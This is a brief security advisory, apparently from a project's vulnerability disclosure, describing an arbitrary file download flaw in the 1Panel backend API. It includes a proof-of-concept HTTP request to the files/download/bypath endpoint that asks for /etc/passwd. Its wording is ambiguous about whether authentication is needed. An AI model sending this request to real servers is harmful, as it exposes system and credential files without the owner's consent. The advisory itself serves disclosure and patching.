### Summary
Any file downloading vulnerability exists in 1Panel backend.

### Details
Authenticated attackers can download arbitrary files through the API interface. This code has unauthorized access.

### PoC
payload:

POST /api/v1/files/download/bypath HTTP/1.1
Host: ip
Content-Type: application/json

{“path”:”/etc/passwd”}


### Impact
Attackers can freely download the file content on the target system. This will be caused a large amount of information leakage.Read More